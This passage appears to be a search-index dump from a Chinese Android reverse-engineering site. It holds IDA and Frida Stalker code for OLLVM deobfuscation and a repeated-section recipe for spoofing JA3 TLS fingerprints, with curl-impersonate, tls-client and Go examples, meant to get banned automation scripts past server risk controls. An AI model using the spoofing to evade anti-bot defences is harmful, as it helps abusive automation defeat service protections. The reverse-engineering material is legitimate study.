(x*x) % 2 == 1 → 恒假 # 如果能证明条件恒假，则移除跳转 # 模式: x*(x+1) % 2 == 0 → 恒真 # 如果能证明条件恒真，则转为无条件跳转 pass return False def _fold_constants(self, blk, ins): \"\"\"常量折叠 - 将可在编译时计算的表达式替换为结果\"\"\" if ins.opcode in [hr.m_add, hr.m_sub, hr.m_xor, hr.m_and, hr.m_or]: if ins.l.t == hr.mop_n and ins.r.t == hr.mop_n: # 两个操作数都是常量，直接计算 left_val = ins.l.nnn.value right_val = ins.r.nnn.value if ins.opcode == hr.m_add: result = left_val + right_val elif ins.opcode == hr.m_sub: result = left_val - right_val elif ins.opcode == hr.m_xor: result = left_val ^ right_val elif ins.opcode == hr.m_and: result = left_val \u0026 right_val elif ins.opcode == hr.m_or: result = left_val | right_val # 将指令替换为 MOV 常量 ins.opcode = hr.m_mov ins.l.make_number(result, ins.d.size) return True return False def deobfuscate_function(func_addr): \"\"\"反混淆指定函数\"\"\" # 安装优化器 optimizer = OLLVMDeobfuscator() optimizer.install() try: # 强制重新反编译函数 cfunc = hr.decompile(func_addr) if cfunc: print(f\"[+] 反混淆完成，共应用 {optimizer.changes} 处优化\") print(f\"[+] 请查看反编译窗口 (F5) 获取优化结果\") else: print(\"[-] 反编译失败\") finally: # 卸载优化器 optimizer.remove() def batch_deobfuscate(): \"\"\"批量反混淆所有函数\"\"\" optimizer = OLLVMDeobfuscator() optimizer.install() total_changes = 0 func_count = 0 try: for func_addr in idautils.Functions(): func = ida_funcs.get_func(func_addr) if func and func.size() \u003e 50: # 跳过太小的函数 try: cfunc = hr.decompile(func_addr) if optimizer.changes \u003e 0: total_changes += optimizer.changes func_count += 1 optimizer.changes = 0 except: pass finally: optimizer.remove() print(f\"[+] 批量反混淆完成: {func_count} 个函数, \" f\"共 {total_changes} 处优化\") ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:7:3","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#3-ida-microcode-api-反混淆"},{"categories":null,"collections":null,"content":"4. Frida Stalker 增强追踪 Frida Stalker 是动态分析 OLLVM 混淆代码最有效的工具之一。它通过代码插桩 (code instrumentation) 在运行时追踪每一条执行的指令或基本块，从而直接获取真实的执行路径，绕过所有虚假控制流。 以下是一个增强版的 Stalker 脚本，适配 Android 7-15 的各种差异： // 增强版 Stalker - 适配 Android 7-15 // 功能: 追踪混淆函数的真实执行路径，恢复控制流图 function getAndroidVersion() { try { var version = parseInt(Java.androidVersion); return isNaN(version) ? 0 : version; } catch (e) { return 0; } } function enhancedTrace(soName, funcOffset, options) { options = options || {}; var maxBlocks = options.maxBlocks || 10000; var verbose = options.verbose || false; var outputCFG = options.outputCFG !== false; var mod = Process.findModuleByName(soName); if (!mod) { console.log(\"[-] Module not found: \" + soName); return; } var androidVersion = getAndroidVersion(); console.log(\"[*] Android version: \" + androidVersion); console.log(\"[*] Module base: \" + mod.base); console.log(\"[*] Target function: \" + mod.base.add(funcOffset)); // Android 10+ XOM 检测 if (androidVersion \u003e= 10) { console.log(\"[*] Android 10+ detected, code memory may be execute-only\"); console.log(\"[*] Using Stalker (not direct memory read) for analysis\"); } // Android 14+ 16KB 页面检测 if (androidVersion \u003e= 14) { console.log(\"[*] Android 14+ detected, checking page size...\"); // 16KB 页面可能影响模块段布局 } var target = mod.base.add(funcOffset); var modBase = mod.base; var modSize = mod.size; // 数据收集结构 var blocks = {}; var transitions = []; var lastBlockOffset = null; var callTargets = {}; var blockSequence = []; Interceptor.attach(target, { onEnter: function(args) { this.tid = Process.getCurrentThreadId(); this.startTime = Date.now(); // 保存函数参数用于分析 this.args = []; for (var i = 0; i \u003c 4; i++) { this.args.push(args[i]); } console.log(\"[+] Function entered, args: \" + this.args.map(function(a) { return a; }).join(\", \")); // 重置追踪数据 blocks = {}; transitions = []; lastBlockOffset = null; blockSequence = []; callTargets = {}; Stalker.follow(this.tid, { events: { call: true, ret: false, exec: false, block: false }, transform: function(iterator) { var inst = iterator.next(); var blockStart = inst.address; var blockStartOffset = blockStart.sub(modBase).toInt32(); // 只追踪目标模块内的代码 if (blockStart.compare(modBase) \u003e= 0 \u0026\u0026 blockStart.compare(modBase.add(modSize)) \u003c 0) { // 在块入口插入 callout iterator.putCallout(function(ctx) { var pc = ctx.pc; var offset = pc.sub(modBase).toInt32(); if (!blocks[offset]) { blocks[offset] = { count: 0, firstSeen: blockSequence.length }; } blocks[offset].count++; blockSequence.push(offset); // 记录块间转换 if (lastBlockOffset !== null \u0026\u0026 lastBlockOffset !== offset) { transitions.push({ from: lastBlockOffset, to: offset }); } lastBlockOffset = offset; }); } // 遍历块中所有指令 var instCount = 1; do { // 记录间接调用目标 (BLR) if (inst.mnemonic === \"blr\") { iterator.putCallout(function(ctx) { var targetAddr = ctx[inst.operands[0].value]; var targetSym = DebugSymbol.fromAddress(targetAddr); callTargets[inst.address.sub(modBase).toInt32()] = { target: targetAddr, symbol: targetSym.name || \"unknown\" }; if (verbose) { console.log(\" [BLR] \" + inst.address + \" =\u003e \" + targetAddr + \" (\" + targetSym.name + \")\"); } }); } iterator.keep(); instCount++; } while ((inst = iterator.next()) !== null); // 更新块大小信息 if (blockStart.compare(modBase) \u003e= 0 \u0026\u0026 blockStart.compare(modBase.add(modSize)) \u003c 0) { if (blocks[blockStartOffset]) { blocks[blockStartOffset].instCount = instCount; } } } }); }, onLeave: function(retval) { Stalker.unfollow(this.tid); Stalker.flush(); var elapsed = Date.now() - this.startTime; console.log(\"\\n\" + \"=\".repeat(60)); console.log(\"[+] Trace completed in \" + elapsed + \"ms\"); console.log(\"[+] Return value: \" + retval); console.log(\"[+] Unique blocks: \" + Object.keys(blocks).length); console.log(\"[+] Total transitions: \" + transitions.length); console.log(\"[+] Block sequence length: \" + blockSequence.length); console.log(\"[+] Indirect calls: \" + Object.keys(callTargets).length); // 识别热点块 (可能是分发器) var sortedBlocks = Object.keys(blocks).sort(function(a, b) { return blocks[b].count - blocks[a].count; }); console.lo","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:7:4","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#4-frida-stalker-增强追踪"},{"categories":null,"collections":null,"content":"工具对比与选择建议 工具 适用场景 优势 劣势 Z3 不透明谓词求解、简单约束 速度快、精确 不能直接分析二进制 Angr 完整的符号执行、路径探索 功能全面、支持多架构 路径爆炸问题、较慢 Triton 动态符号执行、污点分析 精确追踪、与调试器集成好 需要运行环境 Miasm IR 分析、CFG 重建 轻量级、易于定制 文档较少 实战建议： 快速分析：先用 Frida Stalker 获取执行 trace，确定真实执行路径 深度分析：使用 Angr 进行符号执行，恢复完整算法 精确求解：使用 Z3 求解具体的约束条件和密钥 组合使用：Frida 获取运行时数据 → Z3 推断算法结构 → Angr 验证和补全 ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:8:0","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#工具对比与选择建议"},{"categories":null,"collections":null,"content":"使用 TLS 指纹识别检测和绕过应用指纹 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： JA3 指纹技术 - 理解 TLS 指纹的生成原理 JA4+ 指纹技术 - 了解下一代指纹方案 ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:0:0","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#使用-tls-指纹识别检测和绕过应用指纹"},{"categories":null,"collections":null,"content":"问题场景 你遇到了什么问题？ 你的自动化脚本被服务器识别并封禁了 你用 Python/curl 请求 API，但服务器返回 403/风控拦截 你想伪装成真实浏览器/官方 App 的 TLS 指纹 你想分析 App 使用的 TLS 库和配置 你想检测自己的请求是否暴露了异常的 TLS 特征 本配方教你：理解 TLS 指纹识别原理、如何检测自己的 TLS 指纹、以及如何伪造合法的 TLS 指纹。 核心理念： 💡 TLS 指纹是应用的\"DNA\" TLS 握手阶段暴露了客户端使用的库和配置 不同的 HTTP 客户端有不同的 TLS 指纹 服务器可以通过 JA3/JA4 指纹识别你的真实身份 即使使用 HTTPS，TLS 握手特征也是明文的 预计用时: 20-40 分钟 ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:1:0","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#问题场景"},{"categories":null,"collections":null,"content":"工具清单 ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:2:0","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#工具清单"},{"categories":null,"collections":null,"content":"必需工具 Wireshark - 抓取 TLS 握手包 在线 JA3 检测工具 - https://ja3er.com 或 https://tls.peet.ws Python 3.7+ - 用于脚本测试 ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:2:1","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#必需工具"},{"categories":null,"collections":null,"content":"可选工具 curl-impersonate - 伪装浏览器 TLS 指纹的 curl tls-client (Python) - 支持自定义 TLS 指纹的 HTTP 库 Burp Suite - 抓包分析 ja3transport (Go) - Go 语言的 TLS 伪装库 ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:2:2","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#可选工具"},{"categories":null,"collections":null,"content":"前置条件 ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:3:0","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#前置条件"},{"categories":null,"collections":null,"content":"✅ 确认清单 Wireshark 已安装并可用 Python 3.7+ 环境配置完成 # 验证 Wireshark 安装 wireshark --version # 验证 Python 环境 python3 --version # 安装必要的 Python 库 pip3 install requests pycurl tls-client ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:3:1","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#-确认清单"},{"categories":null,"collections":null,"content":"解决方案 ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:4:0","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#解决方案"},{"categories":null,"collections":null,"content":"第 1 步：理解 TLS 指纹识别原理（5 分钟） 1.1 什么是 JA3 指纹？ JA3 是一种通过分析 TLS Client Hello 包生成指纹的技术。 提取的字段： TLS 版本（如 TLS 1.3 = 771） 加密套件列表（Cipher Suites） 扩展列表（Extensions） 椭圆曲线列表（Elliptic Curves） 椭圆曲线点格式（EC Point Formats） 生成过程： 拼接成String: \"771,4865-4866-4867,0-23-65281,29-23-24,0\" ↓ Calculate MD5 哈希 ↓ JA3 指纹: e7d705a3286e19ea42f587b344ee6865 特性 MD5 指纹 JA3 指纹 格式 MD5 哈希 结构化字符串 可读性 无 高（包含版本、计数等） 示例 e7d705a3286e19ea42f587b344ee6865 t13d1516h2_174735a34e8a_b2149a751699 优势 简单，广泛支持 可模糊匹配，抗干扰 ✅ 关键点：不同的 HTTP 库有不同的 JA3 指纹 客户端 JA3 指纹 Chrome 120 579ccef312d18482fc42e2b822ca2430 Firefox 121 3b5074b1b5d032e5620f69f9f700ff0e Python requests 084c44f52a434da89e0b1bc98f8dd159 curl 默认 51c64c77e60f3980eea90869b68c58a8 问题：如果你用 Python requests 访问服务器，即使设置了 User-Agent，服务器也能通过 JA3 识别出你不是真实浏览器 ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:4:1","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#第-1-步理解-tls-指纹识别原理5-分钟"},{"categories":null,"collections":null,"content":"第 1 步：理解 TLS 指纹识别原理（5 分钟） 1.1 什么是 JA3 指纹？ JA3 是一种通过分析 TLS Client Hello 包生成指纹的技术。 提取的字段： TLS 版本（如 TLS 1.3 = 771） 加密套件列表（Cipher Suites） 扩展列表（Extensions） 椭圆曲线列表（Elliptic Curves） 椭圆曲线点格式（EC Point Formats） 生成过程： 拼接成String: \"771,4865-4866-4867,0-23-65281,29-23-24,0\" ↓ Calculate MD5 哈希 ↓ JA3 指纹: e7d705a3286e19ea42f587b344ee6865 特性 MD5 指纹 JA3 指纹 格式 MD5 哈希 结构化字符串 可读性 无 高（包含版本、计数等） 示例 e7d705a3286e19ea42f587b344ee6865 t13d1516h2_174735a34e8a_b2149a751699 优势 简单，广泛支持 可模糊匹配，抗干扰 ✅ 关键点：不同的 HTTP 库有不同的 JA3 指纹 客户端 JA3 指纹 Chrome 120 579ccef312d18482fc42e2b822ca2430 Firefox 121 3b5074b1b5d032e5620f69f9f700ff0e Python requests 084c44f52a434da89e0b1bc98f8dd159 curl 默认 51c64c77e60f3980eea90869b68c58a8 问题：如果你用 Python requests 访问服务器，即使设置了 User-Agent，服务器也能通过 JA3 识别出你不是真实浏览器 ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:4:1","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#11-什么是-ja3-指纹"},{"categories":null,"collections":null,"content":"第 2 步：检测你的 TLS 指纹（10 分钟） 2.1 在线检测 方法 1：访问 JA3 检测网站 # 用 curl 测试 curl https://ja3er.com/json # 用 Python requests 测试 python3 \u003c\u003c 'EOF' import requests r = requests.get('https://ja3er.com/json') print(r.text) EOF curl -s https://tls.peet.ws/api/all | jq . 打开 Wireshark 过滤器输入：tls.handshake.type == 1（只显示 Client Hello） 在终端执行请求： curl https://example.com 接着展开 Transport Layer Security → Handshake Protocol: Client Hello 查看关键字段： - TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030) - ... Extension: supported_groups (len=10) - secp256r1 (0x0017) - x25519 (0x001d) - ... ✅ 成功标志：你已经看到了自己客户端的 TLS 握手特征 ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:4:2","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#第-2-步检测你的-tls-指纹10-分钟"},{"categories":null,"collections":null,"content":"第 2 步：检测你的 TLS 指纹（10 分钟） 2.1 在线检测 方法 1：访问 JA3 检测网站 # 用 curl 测试 curl https://ja3er.com/json # 用 Python requests 测试 python3 \u003c\u003c 'EOF' import requests r = requests.get('https://ja3er.com/json') print(r.text) EOF curl -s https://tls.peet.ws/api/all | jq . 打开 Wireshark 过滤器输入：tls.handshake.type == 1（只显示 Client Hello） 在终端执行请求： curl https://example.com 接着展开 Transport Layer Security → Handshake Protocol: Client Hello 查看关键字段： - TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030) - ... Extension: supported_groups (len=10) - secp256r1 (0x0017) - x25519 (0x001d) - ... ✅ 成功标志：你已经看到了自己客户端的 TLS 握手特征 ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:4:2","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#21-在线检测"},{"categories":null,"collections":null,"content":"第 3 步：获取目标指纹（5 分钟） 目标：获取真实浏览器或官方 App 的 JA3 指纹用于伪装 3.1 浏览器指纹 方法 1：直接查询 Chrome 浏览器访问 https://ja3er.com/json 记录显示的 JA3 哈希值。 方法 2：从 GitHub 数据库查询 访问 https://github.com/salesforce/ja3/blob/master/lists/osx-nix-ja3.csv 搜索 “Chrome”、“Safari”、“Firefox” 找到对应版本的 JA3。 3.2 android App 指纹 使用 Wireshark 抓取真实 App 的流量： 配置手机走电脑代理 Wireshark 监听对应网卡 打开目标 App，触发网络请求 过滤 tls.handshake.type == 1 找到 Client Hello 包 记录或导出该包 提取 JA3： # Use ja3 Tool（NeedInstall） pip3 install pyshark python3 \u003c\u003c 'EOF' import pyshark cap = pyshark.FileCapture('capture.pcap', display_filter='tls.handshake.type == 1') for pkt in cap: print(pkt.tls.handshake_ciphersuite) EOF ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:4:3","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#第-3-步获取目标指纹5-分钟"},{"categories":null,"collections":null,"content":"第 3 步：获取目标指纹（5 分钟） 目标：获取真实浏览器或官方 App 的 JA3 指纹用于伪装 3.1 浏览器指纹 方法 1：直接查询 Chrome 浏览器访问 https://ja3er.com/json 记录显示的 JA3 哈希值。 方法 2：从 GitHub 数据库查询 访问 https://github.com/salesforce/ja3/blob/master/lists/osx-nix-ja3.csv 搜索 “Chrome”、“Safari”、“Firefox” 找到对应版本的 JA3。 3.2 android App 指纹 使用 Wireshark 抓取真实 App 的流量： 配置手机走电脑代理 Wireshark 监听对应网卡 打开目标 App，触发网络请求 过滤 tls.handshake.type == 1 找到 Client Hello 包 记录或导出该包 提取 JA3： # Use ja3 Tool（NeedInstall） pip3 install pyshark python3 \u003c\u003c 'EOF' import pyshark cap = pyshark.FileCapture('capture.pcap', display_filter='tls.handshake.type == 1') for pkt in cap: print(pkt.tls.handshake_ciphersuite) EOF ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:4:3","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#31-浏览器指纹"},{"categories":null,"collections":null,"content":"第 3 步：获取目标指纹（5 分钟） 目标：获取真实浏览器或官方 App 的 JA3 指纹用于伪装 3.1 浏览器指纹 方法 1：直接查询 Chrome 浏览器访问 https://ja3er.com/json 记录显示的 JA3 哈希值。 方法 2：从 GitHub 数据库查询 访问 https://github.com/salesforce/ja3/blob/master/lists/osx-nix-ja3.csv 搜索 “Chrome”、“Safari”、“Firefox” 找到对应版本的 JA3。 3.2 android App 指纹 使用 Wireshark 抓取真实 App 的流量： 配置手机走电脑代理 Wireshark 监听对应网卡 打开目标 App，触发网络请求 过滤 tls.handshake.type == 1 找到 Client Hello 包 记录或导出该包 提取 JA3： # Use ja3 Tool（NeedInstall） pip3 install pyshark python3 \u003c\u003c 'EOF' import pyshark cap = pyshark.FileCapture('capture.pcap', display_filter='tls.handshake.type == 1') for pkt in cap: print(pkt.tls.handshake_ciphersuite) EOF ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:4:3","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#32-android-app-指纹"},{"categories":null,"collections":null,"content":"第 4 步：伪造 TLS 指纹（15 分钟） 4.1 使用 curl-impersonate（推荐） curl-impersonate 是一个修改版的 curl，能完美模拟浏览器的 TLS 指纹。 安装（macOS）： # Use Homebrew brew install curl-impersonate # or downloadpre-compiled version # https://github.com/lwthiker/curl-impersonate/releases # 伪装成 Chrome 120 curl_chrome120 https://ja3er.com/json # 伪装成 Firefox 121 curl_ff121 https://ja3er.com/json # 伪装成 Safari 17 curl_safari17 https://ja3er.com/json 4.2 使用 Python tls-client 库 安装： pip3 install tls-client 基本使用： import tls_client # 创建会话，伪装成 Chrome 120 session = tls_client.Session( client_identifier=\"chrome_120\", random_tls_extension_order=True ) # 发送请求 response = session.get(\"https://ja3er.com/json\") print(response.json()) 支持的客户端标识符： # 桌面浏览器 \"chrome_103\", \"chrome_110\", \"chrome_120\" \"firefox_102\", \"firefox_104\", \"firefox_121\" \"safari_15_3\", \"safari_16_0\", \"safari_17_0\" # 移动端 \"okhttp4_android_7\", \"okhttp4_android_8\", \"okhttp4_android_13\" 自定义 JA3 字符串： import tls_client session = tls_client.Session( client_identifier=\"custom\", ja3_string=\"771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0\" ) 4.3 使用 Go ja3transport 库 package main import ( \"fmt\" \"io\" \"net/http\" \"github.com/CUCyber/ja3transport\" ) func main() { // 创建带 JA3 指纹的 Transport tr, _ := ja3transport.NewTransport(\"771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0\") client := \u0026http.Client{Transport: tr} resp, _ := client.Get(\"https://ja3er.com/json\") defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) fmt.Println(string(body)) } ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:4:4","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#第-4-步伪造-tls-指纹15-分钟"},{"categories":null,"collections":null,"content":"第 4 步：伪造 TLS 指纹（15 分钟） 4.1 使用 curl-impersonate（推荐） curl-impersonate 是一个修改版的 curl，能完美模拟浏览器的 TLS 指纹。 安装（macOS）： # Use Homebrew brew install curl-impersonate # or downloadpre-compiled version # https://github.com/lwthiker/curl-impersonate/releases # 伪装成 Chrome 120 curl_chrome120 https://ja3er.com/json # 伪装成 Firefox 121 curl_ff121 https://ja3er.com/json # 伪装成 Safari 17 curl_safari17 https://ja3er.com/json 4.2 使用 Python tls-client 库 安装： pip3 install tls-client 基本使用： import tls_client # 创建会话，伪装成 Chrome 120 session = tls_client.Session( client_identifier=\"chrome_120\", random_tls_extension_order=True ) # 发送请求 response = session.get(\"https://ja3er.com/json\") print(response.json()) 支持的客户端标识符： # 桌面浏览器 \"chrome_103\", \"chrome_110\", \"chrome_120\" \"firefox_102\", \"firefox_104\", \"firefox_121\" \"safari_15_3\", \"safari_16_0\", \"safari_17_0\" # 移动端 \"okhttp4_android_7\", \"okhttp4_android_8\", \"okhttp4_android_13\" 自定义 JA3 字符串： import tls_client session = tls_client.Session( client_identifier=\"custom\", ja3_string=\"771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0\" ) 4.3 使用 Go ja3transport 库 package main import ( \"fmt\" \"io\" \"net/http\" \"github.com/CUCyber/ja3transport\" ) func main() { // 创建带 JA3 指纹的 Transport tr, _ := ja3transport.NewTransport(\"771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0\") client := \u0026http.Client{Transport: tr} resp, _ := client.Get(\"https://ja3er.com/json\") defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) fmt.Println(string(body)) } ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:4:4","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#41-使用-curl-impersonate推荐"},{"categories":null,"collections":null,"content":"第 4 步：伪造 TLS 指纹（15 分钟） 4.1 使用 curl-impersonate（推荐） curl-impersonate 是一个修改版的 curl，能完美模拟浏览器的 TLS 指纹。 安装（macOS）： # Use Homebrew brew install curl-impersonate # or downloadpre-compiled version # https://github.com/lwthiker/curl-impersonate/releases # 伪装成 Chrome 120 curl_chrome120 https://ja3er.com/json # 伪装成 Firefox 121 curl_ff121 https://ja3er.com/json # 伪装成 Safari 17 curl_safari17 https://ja3er.com/json 4.2 使用 Python tls-client 库 安装： pip3 install tls-client 基本使用： import tls_client # 创建会话，伪装成 Chrome 120 session = tls_client.Session( client_identifier=\"chrome_120\", random_tls_extension_order=True ) # 发送请求 response = session.get(\"https://ja3er.com/json\") print(response.json()) 支持的客户端标识符： # 桌面浏览器 \"chrome_103\", \"chrome_110\", \"chrome_120\" \"firefox_102\", \"firefox_104\", \"firefox_121\" \"safari_15_3\", \"safari_16_0\", \"safari_17_0\" # 移动端 \"okhttp4_android_7\", \"okhttp4_android_8\", \"okhttp4_android_13\" 自定义 JA3 字符串： import tls_client session = tls_client.Session( client_identifier=\"custom\", ja3_string=\"771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0\" ) 4.3 使用 Go ja3transport 库 package main import ( \"fmt\" \"io\" \"net/http\" \"github.com/CUCyber/ja3transport\" ) func main() { // 创建带 JA3 指纹的 Transport tr, _ := ja3transport.NewTransport(\"771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0\") client := \u0026http.Client{Transport: tr} resp, _ := client.Get(\"https://ja3er.com/json\") defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) fmt.Println(string(body)) } ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:4:4","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#42-使用-python-tls-client-库"},{"categories":null,"collections":null,"content":"第 4 步：伪造 TLS 指纹（15 分钟） 4.1 使用 curl-impersonate（推荐） curl-impersonate 是一个修改版的 curl，能完美模拟浏览器的 TLS 指纹。 安装（macOS）： # Use Homebrew brew install curl-impersonate # or downloadpre-compiled version # https://github.com/lwthiker/curl-impersonate/releases # 伪装成 Chrome 120 curl_chrome120 https://ja3er.com/json # 伪装成 Firefox 121 curl_ff121 https://ja3er.com/json # 伪装成 Safari 17 curl_safari17 https://ja3er.com/json 4.2 使用 Python tls-client 库 安装： pip3 install tls-client 基本使用： import tls_client # 创建会话，伪装成 Chrome 120 session = tls_client.Session( client_identifier=\"chrome_120\", random_tls_extension_order=True ) # 发送请求 response = session.get(\"https://ja3er.com/json\") print(response.json()) 支持的客户端标识符： # 桌面浏览器 \"chrome_103\", \"chrome_110\", \"chrome_120\" \"firefox_102\", \"firefox_104\", \"firefox_121\" \"safari_15_3\", \"safari_16_0\", \"safari_17_0\" # 移动端 \"okhttp4_android_7\", \"okhttp4_android_8\", \"okhttp4_android_13\" 自定义 JA3 字符串： import tls_client session = tls_client.Session( client_identifier=\"custom\", ja3_string=\"771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0\" ) 4.3 使用 Go ja3transport 库 package main import ( \"fmt\" \"io\" \"net/http\" \"github.com/CUCyber/ja3transport\" ) func main() { // 创建带 JA3 指纹的 Transport tr, _ := ja3transport.NewTransport(\"771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0\") client := \u0026http.Client{Transport: tr} resp, _ := client.Get(\"https://ja3er.com/json\") defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) fmt.Println(string(body)) } ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:4:4","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 